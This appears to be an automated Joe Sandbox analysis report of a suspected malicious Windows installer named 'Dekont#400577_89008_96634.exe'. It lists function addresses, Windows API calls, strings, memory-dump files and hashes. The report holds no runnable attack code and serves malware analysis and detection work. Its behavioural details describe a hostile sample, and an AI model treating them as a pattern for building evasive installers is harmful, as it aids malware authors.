Instruction Fuzzy Hash: AAD01772B041049BCB00DFA9AA48A9E73B0EF64328B308537D121F21D0D6F899419A29

Function 0040347D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004031DA,?,?,00000007,00000009,0000000B), ref: 0040348B

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Function 00405A3D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405A4C

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction ID: 155326c85e208380d9db810c36285a9e1b4200be200639c8195ffcf147e959ee
Opcode Fuzzy Hash: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction Fuzzy Hash: BEC092B2000200EFE301CF80CB09F067BE8AF54306F028068E185DA060C7788840CB29

Function 0040439C Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction ID: f9270ce27bc2d5d500308faa7c43699bdd9cec228278350af1c7ef3a72e6c056
Opcode Fuzzy Hash: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
Instruction Fuzzy Hash: 4FB01235181A00FBDE514B00DE09F857E62F7E4701F058038F341240F0CBB200A4DB08

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f5bdca1a155d9e49db802200bf92d6fca10bad1793e20f26dfe4708f9af3b7d1
Instruction ID: 48b894a6b6243f55f811ea40c192212472d129cd546c7318a3a4cbaf3ee199e0
Opcode Fuzzy Hash: f5bdca1a155d9e49db802200bf92d6fca10bad1793e20f26dfe4708f9af3b7d1
Instruction Fuzzy Hash: EFD05E73A201009BC700DFB8BE8545E73B8EA903293304837D442E20D1E6B898418628

Function 6FDC121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6FDC123B,?,6FDC12DF,00000019,6FDC11BE,-000000A0), ref: 6FDC1225

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 4cbe89bf59cc71944c892e7445bf956d6e22135668ab5c00913c308f4e26f0b9
Instruction ID: c71b9efb8f4f7860ab432c6c5bd0cd3d4366443811b635ecbdb98385ddf4c59f
Opcode Fuzzy Hash: 4cbe89bf59cc71944c892e7445bf956d6e22135668ab5c00913c308f4e26f0b9
Instruction Fuzzy Hash: 46B01270A40401DFFE008BA8CC07F34325CF702312F0D4080FA00C0180C5206820B634

Non-executed Functions

Function 004055B8 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405616
GetDlgItem.USER32(?,000003EE), ref: 00405625
GetClientRect.USER32(?,?), ref: 00405662
GetSystemMetrics.USER32(00000002), ref: 00405669
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040568A
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040569B
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004056AE
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004056BC
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056CF
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056F1
ShowWindow.USER32(?,00000008), ref: 00405705
GetDlgItem.USER32(?,000003EC), ref: 00405726
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405736
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040574F
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040575B
GetDlgItem.USER32(?,000003F8), ref: 00405634

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

GetDlgItem.USER32(?,000003EC), ref: 00405778
CreateThread.KERNEL32(00000000,00000000,Function_0000554C,00000000), ref: 00405786
CloseHandle.KERNEL32(00000000), ref: 0040578D
ShowWindow.USER32(00000000), ref: 004057B1
ShowWindow.USER32(00000000,00000008), ref: 004057B6
ShowWindow.USER32(00000008), ref: 00405800
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405834
CreatePopupMenu.USER32 ref: 00405845
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405859
GetWindowRect.USER32(?,?), ref: 00405879
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405892
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058CA
OpenClipboard.USER32(00000000), ref: 004058DA
EmptyClipboard.USER32 ref: 004058E0
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058EC
GlobalLock.KERNEL32(00000000), ref: 004058F6
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040590A
GlobalUnlock.KERNEL32(00000000), ref: 0040592A
SetClipboardData.USER32(0000000D,00000000), ref: 00405935
CloseClipboard.USER32 ref: 0040593B

Strings

{, xrefs: 0040581E

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 8f25bff0f06489f7a1a8ce70ca033e140048c00b36b59f282442a9f3d67c4887
Instruction ID: ef42e6e7ad26681d1de71b6013131fdd69d98400fc0f56e042e978cac442fd71
Opcode Fuzzy Hash: 8f25bff0f06489f7a1a8ce70ca033e140048c00b36b59f282442a9f3d67c4887
Instruction Fuzzy Hash: 45B138B1900608FFDB11AFA0DE85AAE7B79FB44355F00803AFA41B61A0CB755E51DF68

Function 00404858 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004048A7
SetWindowTextW.USER32(00000000,?), ref: 004048D1
SHBrowseForFolderW.SHELL32(?), ref: 00404982
CoTaskMemFree.OLE32(00000000), ref: 0040498D
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 004049BF
lstrcatW.KERNEL32(?,Call), ref: 004049CB
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049DD

Part of subcall function 00405A5B: GetDlgItemTextW.USER32(?,?,00000400,00404A14), ref: 00405A6E

Part of subcall function 004066C0: CharNextW.USER32(?,*?|<>/":,00000000,00000000,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406723
Part of subcall function 004066C0: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
Part of subcall function 004066C0: CharNextW.USER32(?,00000000,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406737
Part of subcall function 004066C0: CharPrevW.USER32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Dekont#400577_89008_96634.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,?,0042B238,?,?,000003FB,?), ref: 00404AA0
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404ABB

Part of subcall function 00404C14: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
Part of subcall function 00404C14: wsprintfW.USER32 ref: 00404CBE
Part of subcall function 00404C14: SetDlgItemTextW.USER32(?,0042D268), ref: 00404CD1

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 004049A8
A, xrefs: 0040497B
Call, xrefs: 004049B9, 004049BE, 004049C9

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\udstrmningsdysernes\eir\Speckly$Call
API String ID: 2624150263-1264002212
Opcode ID: 853e4702587f22a3b0095dfd1c3f762452952fa67d6f0456fc7ffaafa7f78d96
Instruction ID: 0d1333b798dde08b2b35772059431d035751c92a28532a026af6b574b599a32b
Opcode Fuzzy Hash: 853e4702587f22a3b0095dfd1c3f762452952fa67d6f0456fc7ffaafa7f78d96
Instruction Fuzzy Hash: 56A15EF1A00209ABDB11AFA5CD45AAFB7B8EF84314F10843BF601B62D1D77C99418B6D

Function 00406C81 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction ID: 1f017aaef81dd0f0ed7cb9892c5a428a4034ef251f890bfd5ca3fce11066bb94
Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction Fuzzy Hash: 8FE1AA71A04709DFDB24CF58C880BAEB7F5EB45305F15842EE896AB2D1D738AA91CF44

Function 00407458 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4c948e8094d30857df7bb037d19ad889c7f26ef399dade94ff28b4422ea0219f
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: A4C15931E042199BCF14CF68D8905EEBBB2BF88354F25866AD85677380D738B942CF95

Function 00404526 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045C4
GetDlgItem.USER32(?,000003E8), ref: 004045D8
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045F5
GetSysColor.USER32(?), ref: 00404606
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404614
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404622
lstrlenW.KERNEL32(?), ref: 00404627
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404634
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404649
GetDlgItem.USER32(?,0000040A), ref: 004046A2
SendMessageW.USER32(00000000), ref: 004046A9
GetDlgItem.USER32(?,000003E8), ref: 004046D4
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404717
LoadCursorW.USER32(00000000,00007F02), ref: 00404725
SetCursor.USER32(00000000), ref: 00404728
LoadCursorW.USER32(00000000,00007F00), ref: 00404741
SetCursor.USER32(00000000), ref: 00404744
SendMessageW.USER32(00000111,?,00000000), ref: 00404773
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404785

Strings

N, xrefs: 004046C2
Call, xrefs: 00404703

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 3e7f1d81aaa2c81caad56aadef940d4d94f2f382e64dbbb27fd2036abddb4608
Instruction ID: bc177dfd6b6b6103f733ab6784bbaef7ca361af311f51bfa08924dfc74b84e38
Opcode Fuzzy Hash: 3e7f1d81aaa2c81caad56aadef940d4d94f2f382e64dbbb27fd2036abddb4608
Instruction Fuzzy Hash: 79618EB1A00209FFDB109F60DD85AAA7B69FB85314F00843AFA15B72D1D778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: b27a2b551f63a02a5ae57bcc50d46a19120317da1eaca0d31fe5953092f3d4ab
Instruction ID: eaab19ccb9cda740c31967da28403833e1322962c0e6ee158e4036cb66a51054
Opcode Fuzzy Hash: b27a2b551f63a02a5ae57bcc50d46a19120317da1eaca0d31fe5953092f3d4ab
Instruction Fuzzy Hash: ED418B71800209AFCF058FA5CE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4

Function 0040605D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061F8,?,?), ref: 00406098
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004060A1

Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

GetShortPathNameW.KERNEL32(?,00431108,00000400), ref: 004060BE
wsprintfA.USER32 ref: 004060DC
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00406117
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406126
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040615E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004061B4
GlobalFree.KERNEL32(00000000), ref: 004061C5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061CC

Part of subcall function 00405F07: GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Strings

[Rename], xrefs: 00406146, 00406158
%ls=%ls, xrefs: 004060D2

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
